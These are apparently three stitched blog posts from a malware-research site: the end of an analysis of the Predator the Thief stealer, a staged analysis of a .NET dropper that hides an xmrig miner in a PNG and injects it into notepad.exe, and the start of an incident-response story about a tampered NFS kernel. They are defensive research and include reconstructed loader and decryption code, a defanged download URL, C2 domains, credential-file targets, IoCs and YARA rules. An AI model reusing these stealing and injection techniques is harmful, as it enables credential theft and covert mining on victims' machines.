    • Screenshot.jpeg <= Screenshot of the current screen

Telegram

For checking if Telegram is installed on the machine, the malware is checking if the KeyPath "Software\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" exists on the machine.

So let's inspect what we have inside this "KeyPath"? After digging into the code, the stealer will request the value of "InstallLocation" because of this where Telegram is installed currently on the machine.

Install

Step by step, the path is recreated (also always, all strings are xored) :

  • %TELEGRAM_PATH%
  • \Telegram Desktop
  • \tdata
  • \D877F783D5D3EF8C

map file

The folder "D877F783D5D3EF8C" is where all Telegram cache is stored. This is the sensitive data that the stealer wants to grab. Also during the process, the file map* (i.e: map1) is also checked and this file is, in fact, the encryption key. So if someone grabs everything for this folder, this leads the attacker to have an access (login without prompt) into the victim account.

Steam

The technique used by the stealer to get information for one software will remain the same for the next events (for most of the cases). This greatly facilitates the understanding of this malware.

So first, it's checking the "SteamPath" key value at "HKCU\Software\Valve\Steam" to grab the correct Steam repository. This value is after concatenating with a bunch of files that are necessary to compromise a Steam Account.

So it will check first if ssfn files are present on the machine with the help of "func_FindFiles", if it matches, they are duplicated into the temporary malware folder stored on %APPDATA%/XXXX. Then do the same things with config.vdf

XOR_3

So what the point with these files? First, after some research, a post on Reddit was quite interesting. it explained that ssfn files permit to by-pass SteamGuard during the user log-on.

Steam

Now what the point of the second file? this is where you could know some information about the user account and all the applications that are installed on the machine. Also, if the ConnectCache field is found on this one, it is possible to log into the stolen account without steam authentication prompt. if you are curious, this pattern is represented just like this :

"ConnectCache"
{
       "STEAM_USERNAME_IN_CRC32_FORMAT" "SOME_HEX_STUFF"
}

The last file, that the stealer wants to grab is "loginusers.vdf". This one could be used for multiple purposes but mainly for setting the account in offline mode manually.

XOR_4

For more details on the subject there a nice report made by Kapersky for this:

Wallets

The stealer is supporting multiple digital wallets such as :

  • Ethereum
  • Multibit
  • Electrum
  • Armory
  • Bytecoin
  • Bitcoin
  • Etc...

The functionality is rudimentary but it's enough to grab specific files such as :

  • *.wallet
  • *.dat

And as usual, all the strings are XORed.

Wallet

FTP software

The stealer supports two FTP software :

  • Filezilla
  • WInFTP

It's really rudimentary because he only search for three files, and they are available a simple copy to the predator is done :

  • %APPDATA%\Filezilla\sitemanager.xml
  • %APPDATA%\Filezilla\recentservers.xml
  • %PROGRAMFILES%\WinFtp Client\Favorites.dat

Browsers

It's not necessary to have some deeper explanation about what kind of file the stealer will focus on browsers. There is currently a dozen articles that explain how this kind of malware manages to steal web data. I recommend you to read this article made by @coldshell about an example of overview and well detailed.

As usual, popular Chrome-based & Firefox-based browsers and also Opera are mainly targeted by Predator.

This is the current official list supported by this stealer :

  • Amigo
  • BlackHawk
  • Chromium
  • Comodo Dragon
  • Cyberfox
  • Epic Privacy Browser
  • Google Chrome
  • IceCat
  • K-Meleon
  • Kometa
  • Maxthon5
  • Mozilla Firefox
  • Nichrome
  • Opera
  • Orbitum
  • Pale Moon
  • Sputnik
  • Torch
  • Vivaldi
  • Waterfox
  • Etc...

This one is also using SQLite for extracting data from browsers and using and saved them into a temporary file name "vlmi{lulz}yg.col".

sqlite

So the task is simple :

  • Stole SQL Browser file
  • Extract data with the help of SQLite and put into a temporary file
  • Then read and save it into a text file with a specific name (for each browser).

cookies

When forms data or credentials are found they're saved into two files on the General repository :

  • forms.log
  • password.log
  • cards.log

General

Discord

If discord is detected on the machine, the stealer will search and copy the "https_discordapp_*localstorage" file into the "ptst" folder. This file contains all sensitive information about the account and could permit some authentication without a prompt login if this one is pushed into the correct directory of the attacker machine.

Discord_Part1Discord_Part2Discord_Part3

Predator is inspecting multiple places...

This stealer is stealing data from 3 strategical folders :

  • Desktop
  • Downloads
  • Documents

Each time, the task will be the same, it will search 4 type of files with the help of GetFileAttributesA :

  • *.doc
  • *.docx
  • *.txt
  • *.log

When it matches, they have copied into a folder named "Files".

Information.log

When tasks are done, the malware starts generating a summarize file, who contains some specific and sensitive data from the machine victim beside the file "Information.log". For DFIR, this file is the artifact to identify the name of the malware because it contains the name and the specific version.

So first, it writes the Username of the user that has executed the payload, the computer name, and the OS Version.

User name: lolilol
Machine name: Computer 
OS version: Windoge 10

Then copy the content of the clipboard with the help of GetClipBoardData

Current clipboard: 
-------------- 
Omelette du fromage

Let's continue the process...

Startup folder: C:\Users\lolilol\AppData\Local\Temp\predator.exe

Some classic specification about the machine is requested and saved into the file.

CPU info: Some bad CPU | Amount of kernels: 128 (Current CPU usage: 46.112917%) 
GPU info: Fumik0_ graphical display 
Amount of RAM: 12 GB (Current RAM usage: 240 MB) 
Screen resolution: 1900x1005

Then, all the user accounts are indicated

Computer users: 
lolilol 
Administrator 
All Users 
Default 
Default User 
Public

The last part is about some exotics information that is quite awkward in fact... Firstly, for some reasons that I don't want to understand, there is the compile time hardcoded on the payload.

Compile Time

Then the second exotic data saved into Information.log is the grabbing execution time for stealing contents from the machine... This information could be useful for debugging some tweaks with the features.

Additional information:
Compile time: Aug 31 2018
Grabbing time: 0.359375 second(s)

C2 Communications

For finishing the information.log, a GET request is made for getting some network data about the victim...

First, it set up the request by uncovered some Data like :

  • A user-agent
  • The content-type

UA

  • The API URL ( /api/info.get )

We can have for example this result :

Amsterdam;Netherlands;52.3702;4.89517;51.15.43.205;Europe/Amsterdam;1012;

When the request is done, the data is consolidated step by step with the help of different loops and conditions.

GET01

When the task is done, there are saved into Information.log

City: Nopeland 
Country:  NopeCountry
Coordinates: XX.XXXX N, X.XXXX W 
IP: XXX.XXX.XXX.XXX 
Timezone: Nowhere 
Zip code: XXXXX

The Archive is not complete, it only needs for the stealer to send it to the C2.

zpar.zip

So now it set up some pieces of information into the gate.get request with specifics arguments, from p1 to p7, for example :

  • p1: Number of accounts stolen
  • p2: Number of cookies stolen
  • p4: Number of forms stolen
  • etc...

results :

Request

The POST request is now complete, the stealer will clean everything and quit.

Panel_C2_Example

Example of Predator C2 Panel with fancy background...

Update - v2.3.7

So during the analysis,  new versions were pushed... Currently (at the time where this post was redacted), the v3 has been released, but without possession of this specific version, I won't talk anything about it and will me be focus only on the 2.3.7.

It's useless to review from scratch, the mechanic of this stealer is still the same, just some tweak or other arrangements was done for multiple purposes... Without digging too much into it, let's see some changes (not all) that I found interesting.

changelog

Changelog of v2.3.7 explained by the author

As usual, this is the same patterns :

  • Code optimizations (Faster / Lightweight)
  • More features...

As you can see v2.3.7 on the right is much longer than v2.3.5 (left), but the backbone is still the same.

Mutex

On 2.3.7,  A mutex is integrated with a specific string called "SyystemServs"

Xor / Obfuscated Strings

XOR_v2

During the C2 requests, URL arguments are generated byte per byte and unXOR.

For example :

push 04
...
push 61
...
push 70
...
leads to this 
HEX    : 046170692F676174652E6765743F70313D
STRING : .api/gate.get?p1=

This is basic and simple but enough to just slow down the review of the strings. but at least, it's really easy to uncover it, so it doesn't matter.

This tweak by far is why the code is much longer than v2.3.5.

Loader

Not seen before (as far I saw), it seems on 2.3.7, it integrates a loader feature to push another payload on the victim machine, easily recognizable with the adequate GET Request

/api/download.get

The API request permits to the malware to get an URL into text format. Then Download and saved it into disk and execute it with the help of ShellExecuteA

Loader

There also some other tweaks, but it's unnecessary to detail on this review, I let you this task by yourself if you are curious 🙂

IoC

v2.3.5

  • 299f83d5a35f17aa97d40db667a52dcc | Sample Packed
  • 3cb386716d7b90b4dca1610afbd5b146 | Sample Unpacked
  • kent-adam.myjino.ru | C2 Domain

v2.3.7

  •  cbcc48fe0fa0fd30cb4c088fae582118 | Sample Unpacked
  •  denbaliberdin.myjino.ru | C2 Domain

HTTP Patterns

  • GET    -   /api/info.get
  • POST  -  /api//gate.get?p1=X&p2=X&p3=X&p4=X&p5=X&p6=X&p7=X
  • GET    -  /api/download.get

MITRE ATT&CK

v2.3.5

  • Discovery - Peripheral Device Discovery
  • Discovery - System Information Discovery
  • Discovery - System Time Discovery
  • Discovery - Query Registry
  • Credential Access - Credentials in Files
  • Exfiltration - Data Compressed

v2.3.7

  • Discovery - Peripheral Device Discovery
  • Discovery - System Information Discovery
  • Discovery - System Time Discovery
  • Discovery - Query Registry
  • Credential Access - Credentials in Files
  • Exfiltration - Data Compressed
  • Execution -  Execution through API

Author / Threat Actor

  • Alexuiop1337

Yara Rule

rule Predator_The_Thief : Predator_The_Thief {
    meta:
        description = "Yara rule for Predator The Thief v2.3.5 & +"
        author = "Fumik0_"
        date = "2018/10/12"
        update = "2018/12/19"

    strings:
        $mz = { 4D 5A }

        // V2
        $hex1 = { BF 00 00 40 06 } 
        $hex2 = { C6 04 31 6B }
        $hex3 = { C6 04 31 63 }
        $hex4 = { C6 04 31 75 }
        $hex5 = { C6 04 31 66 }
 
        $s1 = "sqlite_" ascii wide
 
        // V3
        $x1 = { C6 84 24 ?? ?? 00 00 8C } 
        $x2 = { C6 84 24 ?? ?? 00 00 1A }  
        $x3 = { C6 84 24 ?? ?? 00 00 D4 } 
        $x4 = { C6 84 24 ?? ?? 00 00 03 }  
        $x5 = { C6 84 24 ?? ?? 00 00 B4 } 
        $x6 = { C6 84 24 ?? ?? 00 00 80 }
 
    condition:
        $mz at 0 and 
        ( ( all of ($hex*) and all of ($s*) ) or (all of ($x*)))
}

 

Recommendations

  • Always running stuff inside a VM, be sure to install a lot of stuff linked to the hypervisor (like Guest Addons tools)  to trigger as much as possible all kind of possible Anti-VM detection and closing malware. When you have done with your activities stop the VM and restore it a Specific clean snapshot when it's done.
  • Avoid storing files at a pre-destined path (Desktop, Documents, Downloads), put at a place that is not common.
  • Avoiding Cracks and other stupid fake hacks, stealers are usually behind the current game trendings (especially in those times with Fortnite...).
  • Use containers for software that you are using, this will reduce the risk of stealing data.
  • Flush your browser after each visit, never saved your passwords directly on your browser or using auto-fill features.
  • Don't use the same password for all your websites (use 2FA and it's possible), we are in 2018, and this still sadly everywhere like this.
  • Make some noise with your data, that will permit to lose some attacker minds to find some accurate values into the junk information.
  • Use a Vault Password software.
  • Troll/Not Troll: Learn Russian and put your keyboard in Cyrillic 🙂

Conclusion

Stealers are not sophisticated malware, but they are enough effective to make some irreversible damage for victims. Email accounts and other credentials are more and more impactful and this will be worse with the years. Behaviors must changes for the account management to limit this kind of scenario. Awareness and good practices are the keys and this will not be a simple security software solution that will solve everything.

Well for me I've enough work, it's time to sleep a little...

Himouto Habits

#HappyHunting

Update 2018-10-23 : Yara Rules now working also for v3

Some fun with a miner

21 May 2018 at 08:39
By: fumko

A few weeks ago I came across a malware that gave me some interests to dig more into it. It has a curious way to deploy itself, set up a miner on the machine and hide it behind some legit processes.

In an example, when we look at Process Hacker :

  • Visual Basic Compiler is launched without reasons
  • An awkward child process "Notepad.exe" is consuming a lot of CPU

process_hacker

At first glance, my first thought was "What the heck is going on there ?"

First stage

All begin with a sample available at this address :

hxxp://netload.trade/ghghdshch130.exe

This is a .NET application and starts at this EntryPoint :

static void StatusBarPanelCollection(string[] args) {
	ToolStripItemEventArgs.ExprVisitorBase().EntryPoint.Invoke(null, null);
}

The first thing called behind is an Assembly method named ExprVisitorBase().

public static Assembly ExprVisitorBase() {
  CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider();
  CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(new CompilerParameters
    {
      IncludeDebugInformation = true,
      GenerateExecutable = false,
      GenerateInMemory = true,
      IncludeDebugInformation = true,
      ReferencedAssemblies = 
        {
          string.Format(.POasdIsd("U3lzdGVtLkRyYXdpbmcuZGxs"), new object[0])
        },
        CompilerOptions = string.Format(.POasdIsd("L29wdGltaXplKyAvcGxhdGZvcm06WDg2IC9kZWJ1ZysgL3RhcmdldDp3aW5leGU="), new object[0])
    }, new string[]
    {
      ToolStripItemEventArgs.SizeSoapParameterAttribute.Replace(string.Format(.POasdIsd("I3Jlc25hbWUj"), new object[0]), 
      .POasdIsd("ekp5blhVaktUbFpw")).Replace(string.Format(.POasdIsd("I3Bhc3Mj"), new object[0]), .POasdIsd("VVVlb0NvaXBHdVZj"))
    });
  return compilerResults.CompiledAssembly;
}

This program is going to programmatically compile some code. Indeed, it is possible in .NET to access to the C# compiler with the help of the CSharpCodeProvider class. The call to CompileAssemblyFromSource is where the assembly gets compiled. This method takes the parameters object (CompilerParameters) and the source code, which is a string.

First, if we look deeper into the CompilerParameters object, the configuration let us understand that the new program will be a DLL file and there will be no trace on disk. It will require a specific reference to being able to work, but the string is obfuscated and required "POasdIsd" to be decoded.

internal class 
{
 	public static string POasdIsd(string string_0)
	{
		byte[] bytes = Convert.FromBase64String(string_0);
		return Encoding.UTF8.GetString(bytes);
	}
}

It's easy to understand "POasdIsd" is just a Base64decode function, and our encoded string is, in fact, the word "System.Drawing.dll". So this means, this reference is required to compile the source code.

If we continue the analysis, it sets some compiler argument. decoded, this will be compiled in debug mode for an x86 platform :

/optimize+ /platform:X86 /debug+ /target:winexe

So now, the only thing needed is the source code and it's stored in the variable SizeSoapParameterAttribute, which is of course also obfuscated by a Base64 encoding and additionally encrypted with a XOR key (5).

public static string SizeSoapParameterAttribute = 
    ToolStripItemEventArgs.ASSEMBLY_FLAGS(
        .POasdIsd("cHZsa2IlVnx2c ... D4ID3gPeCUID3g="), 5
);

If we place some breakpoint on the debugger we can see step by step, the generated c# source code

Generating_cs

Give me my source code, please...

When everything is done, the compilation could be done. We can see that with Process Monitor.

procmon.png

Second stage

At this state, the DLL is compiled and loaded on memory. No need to extract and decompiled it because we have the code! So if we look deeper into it, this file contains a lot of spaghetti code, but the main class is easy to find.

Second_code.png

When we rename some function, it's clearer to understand the goal of this library.

private static string xorKey = "UUeoCoipGuVc";
private static byte[] Payload;

...

private static void Main()
{
  try
  {
    IntPtr hResInfo = Program.FindResource(new IntPtr(0), new IntPtr(138), new IntPtr(23));
    uint size = Program.SizeofResource(new IntPtr(0), hResInfo);
    IntPtr hResData = Program.LoadResource(new IntPtr(0), hResInfo);
    IntPtr source = Program.LockResource(hResData);
    Program.Payload = new byte[size];
    Marshal.Copy(source, Program.Payload, 0, Convert.ToInt32(num));
    Program.Payload = Program.XOR(Program.ConvertFromBmp(Program.Byte2Image(Program.Payload)));
    Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader));
    thread.Start();
  }
  catch
  {
  }
}

So when it's loaded into memory. It will request an HTML resource (IntPtr(23) is RT_HTML) of the main program, so if you debug this DLL on DNspy, it will crash because it will target a resource that does not exist on it. So let's go back a bit on "ghghdshch130.exe" and inspect .rsrc. We have a curious file with named 138 (which is the Resource ID)

138 RT

So if we inspect it, this is a PNG file, with a 461 x 461 dimension, 8-bit/color RGBA, non-interlaced.

Image.png

So now lets the magic happen... With the code seen as above, this image is converted into a byte array and then again into an image (Bitmap format). The main reason here,  its to be able to use ConvertFromBmp, the most important function of the DLL file. The goal is to reorganized properly into memory, the different sections of the payload with the help of BlockCopy. So it will copy pixel per pixel on the correct destination offset with a 4 bytes buffer each time.

I clean the code to understand clearly the steps.

private static byte[] ConvertFromBmp(Bitmap imageFile) { 
 int width = imageFile.Width; 
 int correctSize = width * width * 4; 
 byte[] correctOffset = new byte[correctSize]; 
 int size = 0; 
 for (int x = 0; x < width; x++) { 
   for (int y = 0; y < width; y++) { 
     Buffer.BlockCopy(BitConverter.GetBytes(imageFile.GetPixel(x, y).ToArgb()), 0, correctOffset, size, 4); 
     size += 4; 
   } 
 }

 int finalSize = BitConverter.ToInt32(array, 0); 
 byte[] XorPayload = new byte[finalSize]; 
 Buffer.BlockCopy(correctOffset, 4, XorPayload, 0, XorPayload.Length); 
 
 return XorPayload; 
}

So now, our payload is almost done, it has just be decrypted with a specific xor key, in this case, its the value "UUeoCoipGuVc"

internal class Program
{
private static byte[] XOR(byte[] bytes)
{
  byte[] bytes2 = Encoding.Unicode.GetBytes(Program.XorString);
  for (int i = 0; i < bytes.Length; i++)
  {
  int num = i;
  bytes[num] ^= bytes2[i % 16];
  }
  return bytes;
}

When the payload is "finally" created, the assembly object is loaded into a thread.

Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader)); 
thread.Start();

Third Stage

So if you believe that everything is done. Well, unfortunately, you are very wrong ! This is packed/obfuscated... again!

throw.gif

Without entering into some madness to understand the code, I note that there are three files right now in the resource folder.

resources.png

Two of them are XOR encrypted payloads and one is a text file with Base64 encoded strings. When we look into the "shitty" code to understand what is the purpose of the text file, this is in fact, a Manifest Resource Stream, a content that is embedded in the assembly at compile time. With some lines of python code, let's see what we have when everything is decoded :

 => python3 manifest.py 
...
'RSRCNAME'
'RSRCPWD'
'Dotwall Evaluation'

The last entry is pretty interesting because it shows us that this stage is in fact packed with Dotwall, a .NET obfuscator that is not available on the public on this day (or it looks like).

So what is the goal of this stage?

First, it copies the first stage on the main user directory and keeps the new path into memory for future purposes. Then delete the alternate stream name Zone.Identifier of this file, so it permits here, to erase its traces to confirm this malware was downloaded from the outside network.

Then it sets a persistence trick with an Internet Shortcut file created on Windows startup menu named "rTErod.url"', which could probably explain why the Zone.Identifier task was done above.

[InternetShortcut]
URL=file:///C:/Users/user/bsdsjdpjcqdpcdq.exe

Then, it searches if the visual basic compiler is present on the machine, and inject the resource "rWyMgsOzOKRu" into it. To simplify the way how the program decrypts this file, with all the interaction of different classes and the manifest that leads us to hundreds line of code, I could summarize this with just 10 lines of C# source code.

byte[] buffer = File.ReadAllBytes("xplACLWqdLvY"); // Xor Key 
byte[] bytes = Encoding.Unicode.GetBytes("rWyMgsOzOKRu"); // Encrypted Payload

for (int i = 0; i < buffer.Length; i++) {
    buffer[i] ^= bytes[i % 16];
}

using (var decrypted = new FileStream("decrypted_resource.exe", FileMode.Create, FileAccess.Write)) {
 decrypted.Write(bytes, 0, byteArray.Length);
}       

this Assembly is named "adderalldll" and remains to Adderall Protector.

AdderallDll.png

adderall_logo.png

adderall_topics

After some cleaning, this tool is called by using some reflection.  The run() method of the new Object class (Adderall) is invoked with some additional arguments in entries:

  • @"C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
  • ""
  • DecryptPayload(cryptedResource) // <= Our Final Unpacked Malware
  • true
Type Adderall_resource = exportedTypes[pos];
object Adderall = Activator.CreateInstance(Adderall_resource);
vbcPath = @"C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe";

Adderall_resource.InvokeMember("run", BindingFlags.InvokeMethod, null, Adderall, new object[] {
 vbcPath, 
 "",      
 DecryptPayload(cryptedResource), 
 true 
});

Fourth Stage

So what we have into the adderall.dll? Well... This is obfuscated with Dotwall and It looks like there are no embedded payload resources, just the manifest stream file. It means that we are very close to our final miner malware!

adderall_rsrc

So let's see what we have again on the decoded Manifest :

=> python3 manifest.py 
...
'kernel32'
'CreateProcessA'
'kernel32'
'GetThreadContext'
'kernel32'
'Wow64GetThreadContext'
'kernel32'
'SetThreadContext'
'kernel32'
'Wow64SetThreadContext'
'kernel32'
'ReadProcessMemory'
'kernel32'
'WriteProcessMemory'
'ntdll'
'NtUnmapViewOfSection'
'kernel32'
'VirtualAllocEx'
'kernel32'
'ResumeThread'
...
'Dotwall Evaluation'

Typically, we understand that the goal here its execute some process injection and the process vbc.exe will host the malware.

Fifth Stage

So now, that our miner is finally deployed, let's do some analysis on it. The first thing that we see here is that this one is developed in C/C++.

The malware is checking if it's running on 32 or 64 bits with the help of IsWow64Process and will decide where it will do some process injection:

  • If it's 32 bits, the miner will be behind wuapp.exe
  • If it's 64 bits, the miner will be behind notepad.exe

process_choice.png

As below, this is an example of a process injection of notepad.exe behind Winrar.exe, a child process of explorer.exe

Process Injection

It looks like that we have here an xmrig miner at reading the command line if we check directly on the help display, its identical.

  -a, --algo=ALGO          cryptonight (default) or cryptonight-lite
  -o, --url=URL            URL of mining server
  -O, --userpass=U:P       username:password pair for mining server
  -u, --user=USERNAME      username for mining server
  -p, --pass=PASSWORD      password for mining server
  -t, --threads=N          number of miner threads
...
  -c, --config=FILE        load a JSON-format configuration file
...

To confirm if it's this specific miner, let's dump memory on base address 0x400000 :

Notepad_Miner

Our PE header is erased and compressed with UPX

UPX_xmrig.png

...and with a quick search, our xmrig miner is right here 🙂

miner_xmrig.png

Miner config Setup

The malware is generating a specific xmrig config file for the victim machine. First, it pushed the miner pool and the user account.

xmrig

Then, the typical xmrig config file is generated and saved into two files "cfg" and cfgi".

config_file.png

In this example, the output config file is this :

{{ "algo": "cryptonight", "background": false, "colors": true, "retries": 5, "retry-pause": 5, "syslog": false, "print-time": 60, "av": 0, "safe": false, "cpu-priority": null, "cpu-affinity": null, "threads": 1, "pools": [ { "url": "xmr.pool.minergate.com:45560", "user": "[email protected]", "pass": "x", "keepalive": false, "nicehash": false } ], "api": { "port": 0, "access-token": null, "worker-id": null }}
Persistence

Another persistence is also added at this step, a registry key is created and this entry is periodically checked.

registry

The executable file linked with the registry is in the same folder with the miner configurations and this is a legit vbc.exe process 🙂

appdata

So at the end, you are here...

legit_vbc
Hiding Method

This malware checks if the task manager is launched.

FindTaskMgrExe

if it matches, it will shutdown notepad.exe process, if the miner is currently executed. Then, the miner will not restart it again as long as taskmgr is still opened.

kill_notepad.png

Summary

  1. We have an executable who compiled and injected itself a DLL
  2. This DLL deploys another executable which was behind a fake PNG file and was also injected into the first payload
  3. In this program, a DLL named Adderall is Invoked, this permits to deploy the unpacked malware into visual basic compiler with the help of RunPE
  4. Our final malware will set up a miner config and injects xmrig into a notepad.exe or wuapp.exe (according to a 32 or 64 bits Operating System).

DU-IJlvXUAUrBRu.jpg

Yara rules

Xmrig Miner Malware

rule XmrigMinerMalware {
    meta:
        description = "Xmrig Miner Malware"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $s1 = "\\cfg" wide ascii
        $s2 = "\\cfgi" wide ascii
        $s3 = "\\notepad.exe" wide ascii
        $s4 = "\\wuapp.exe" wide ascii
        $s5 = "--show-window" wide ascii
        $s6 = "taskmgr.exe" wide ascii
        $s7 = "Miner" wide ascii
    condition:
        $mz at 0 and all of ($s*) 
}

Adderall Protector

rule Adderall {
    meta:
        description = "Adderall Protector"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $n1 = "#Blob" wide ascii
        $n2 = "#GUID" wide ascii
        $n3 = "#Strings" wide ascii

        $s1 = "adderalldll" wide ascii
    condition:
        $mz at 0 and (all of ($n*) and $s1)
}

Dotwall Obfuscator

rule DotWall {
    meta:
        description = "Dotwall Obfuscator"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $n1 = "#Blob" wide ascii
        $n2 = "#GUID" wide ascii
        $n3 = "#Strings" wide ascii

        $s1 = "RG90d2Fsb" wide ascii
    condition:
        $mz at 0 and (
            all of ($n*) and $s1
        )
}

IoC

[email protected] _

517AC5506A5488A1193686F66CB57AD3288C2258C510004EDB2F361B674526CC
AA28AA381B935EB98A6B3DEC4C86E1570EF142B041DB4255445C52A81F57A02F
40F5D5BBC054BA193B3D46BA1AE113AC9C9FCAFDDEC52CF02F82C4A22BF9F15F
0C5FC323873FBE693C1FF860282F035AD447050F8EC37FF2E662D087A949DFC9
7C23DA75BA54998363C4E278488F05588FB4E7D8201CCDAA870DD93F0328B911
BECDCC441E29D518D2258F0718000EBD0848ADB4CEFA00223F386A91FDB11677

Conclusion

This miner was pretty cool to reverse for using differents techniques. Good time (and some headaches) to explain and understand the different tasks.

Happy Hunting

Happy Hunting!

APT Encounters of the Third Kind

24 March 2021 at 04:00

A few weeks ago an ordinary security assessment turned into an incident response whirlwind. It was definitely a first for me, and I was kindly granted permission to outline the events in this blog post. This investigation started scary but turned out be quite fun, and I hope reading it will be informative to you too. I'll be back to posting about my hardware research soon.

How it started

Twice a year I am hired to do security assessments for a specific client. We have been working together for several years, and I had a pretty good understanding of their network and what to look for.

This time my POC, Klaus, asked me to focus on privacy issues and GDPR compliance. However, he asked me to first look at their cluster of reverse gateways / load balancers:

LB Architecture

I had some prior knowledge of these gateways, but decided to start by creating my own test environment first. The gateways run a custom Linux stack: basically a monolithic compiled kernel (without any modules), and a static GOlang application on top. The 100+ machines have no internal storage, but rather boot from an external USB media that has the kernel and the application. The GOlang app serves in two capacities: an init replacement and the reverse gateway software. During initialization it mounts /proc, /sys, devfs and so on, then mounts an NFS share hardcoded in the app. The NFS share contains the app's configuration, TLS certificates, blacklist data and a few more. It starts listening on 443, filters incoming communication and passes valid requests on different services in the production segment.

GW Architecture

I set up a self contained test environment, and spent a day in black box examination. Having found nothing much I suggested we move on to looking at the production network, but Klaus insisted I continue with the gateways. Specifically he wanted to know if I could develop a methodology for testing if an attacker has gained access to the gateways and is trying to access PII (Personally Identifiable Information) from within the decrypted HTTP stream.

I couldn't SSH into the host (no SSH), so I figured we will have to add some kind of instrumentation to the GO app. Klaus still insisted I start by looking at the traffic before (red) and after the GW (green), and gave me access to a mirrored port on both sides so I could capture traffic to a standalone laptop he prepared for me and I could access through an LTE modem but was not allowed to upload data from:

GW Architecture

The problem I faced now was how to find out what HTTPS traffic corresponded to requests with embedded PII. One possible avenue was to try and correlate the encrypted traffic with the decrypted HTTP traffic. This proved impossible using timing alone. However, unspecting the decoded traffic I noticed the GW app adds an 'X-Orig-Connection' with the four-tuple of the TLS connection! Yay!

Original connection

I wrote a small python program to scan the port 80 traffic capture and create a mapping from each four-tuple TLS connection to a boolean - True for connection with PII and False for all others:

10.4.254.254,443,[Redacted],43404,376106847.319,False
10.4.254.254,443,[Redacted],52064,376106856.146,False
10.4.254.254,443,[Redacted],40946,376106856.295,False
10.4.254.254,443,[Redacted],48366,376106856.593,False
10.4.254.254,443,[Redacted],48362,376106856.623,True
10.4.254.254,443,[Redacted],45872,376106856.645,False
10.4.254.254,443,[Redacted],40124,376106856.675,False 
...

With this in mind I could now extract the data from the PCAPs and do some correlations. After a few long hours getting scapy to actually parse timestamps consistently enough for comparisons, I had a list of connection timing information correlated with PII. A few more fun hours with Excel and I got histogram graphs of time vs count of packets. Everything looked normal for the HTTP traffic, although I expected more of a normal distribution than the power-low type thingy I got. Port 443 initially looked the same, and I got the normal distribution I expected. But when filtering for PII something was seriously wrong. The distribution was skewed and shifted to longer time frames. And there was nothing similar on the port 80 end.

Histograms

My only explanation was that something was wrong with my testing setup (the blue bars) vs. the real live setup (the orange bars). I wrote on our slack channel 'I think my setup is sh*t, can anyone resend me the config files?', but this was already very late at night, and no one responded. Having a slight OCD I couldn’t let this go. To my rescue came another security? feature of the GWs: Thet restarted daily, staggered one by one, with about 10 minutes between hosts. This means that every ten minutes or so one of them would reboot, and thus reload it’s configuration files over NFS. And since I could see the NFS traffic through the port mirror I had access to, I recokoned I could get the production configuration files from the NFS capture (bottom dotted blue line in the diagram before).

So to cut a long story short I found the NFS read reply packet, and got the data I need. But … why the hack is eof 77685??? Come on people, its 3:34AM!

What's more, the actual data was 77685 bytes, exactly 8192 bytes more then the ‘Read length’. The entropy for that data was pretty uniform, suggesting it was encrypted. The file I had was definitely not encrypted.

First NFS capture

Histogram of extra 8192 bytes:

NFS capture hist

When I mounted the NFS export myself I got a normal EOF value of 1!

NFS capture hist

What hell is this?

Comparing the capture from my testing machine with the one from the port mirror I saw something else weird:

NFS capture hist

For other NFS open requests (on all of my test system captures and for other files in the production system) we get:

NFS capture hist

Spot the difference?

The open id: string became open-id:. Was I dealing with some corrupt packet? But the exact same problem reappeared the next time blacklist.db was send over the wire by another GW host.

Time to look at the kernel source code:

NFS capture hist

The “open id” string is hardcoded. What's up?

After a good night sleep and no beer this time I repeated the experiment and convincing myself I was not hullucinating I decided to compare the source code of the exact kernel version with the kernel binary I got.

What I expected to see was this (from nfs4xdr.c):

static inline void encode_openhdr(struct xdr_stream *xdr, const struct nfs_openargs *arg)
{
    __be32 *p;
 /*
 * opcode 4, seqid 4, share_access 4, share_deny 4, clientid 8, ownerlen 4,
 * owner 4 = 32
 */
    encode_nfs4_seqid(xdr, arg->seqid);
    encode_share_access(xdr, arg->share_access);
    p = reserve_space(xdr, 36);
    p = xdr_encode_hyper(p, arg->clientid);
    *p++ = cpu_to_be32(24);
    p = xdr_encode_opaque_fixed(p, "open id:", 8);
    *p++ = cpu_to_be32(arg->server->s_dev);
    *p++ = cpu_to_be32(arg->id.uniquifier);
    xdr_encode_hyper(p, arg->id.create_time);
}

Running binwalk -e -M bzImage I got the internal ELF image, and opened it in IDA. Of course I didn’t have any symbols, but I got nfs4_xdr_enc_open() from /proc/kallsyms, and from there to encode_open() which led me to encode_openhdr(). With some help from hex-rays I got code that looked very similiar, but with one key difference:

static inline void encode_openhdr(struct xdr_stream *xdr, const struct nfs_openargs *arg)
{
    ...
    p = xdr_encode_opaque_fixed(p, unknown_func("open id:", arg), 8);
    ...
}

The function unknown_func was pretty long and complicated but eventually sometimes decided to replace the space between 'open' and 'id' with a hyphen.

Does the NFS server care? Apparently this string it is some opaque client identifier that is ignored by the NFS server, so no one would see the difference. That is unless they were trying to extract something from an NFS stream, and obviously this was not a likely scenario. OK, back to the weird 'eof' thingy from the NFS server.

The NFS Server

The server was running the 'NFS-ganesha-3.3' package. This is a very modular user-space NFS server that is implemented as a series of loadable modules called FSALs. For example support for files on the regular filesystem is implemented through a module called libfsalvfs.so. Having verified all the files on disk had the same SHA1 as the distro package, I decided to dump the process memory. I didn't have any tools on the host, so I used GDB which helpfully was already there. Unexpectadly GDB was suddenly killed, the file I specified as output got erased, and the nfs server process restarted.

I took the dump again but there was nothing special there!

I was pretty suspicious at this time, and wanted to recover the original dump file from the first dump. Fortunately for me I was dumping the file to the laptop, again over NFS. The file had been deleted, but I managed to recover it from the disk on that server.

2nd malicious binary

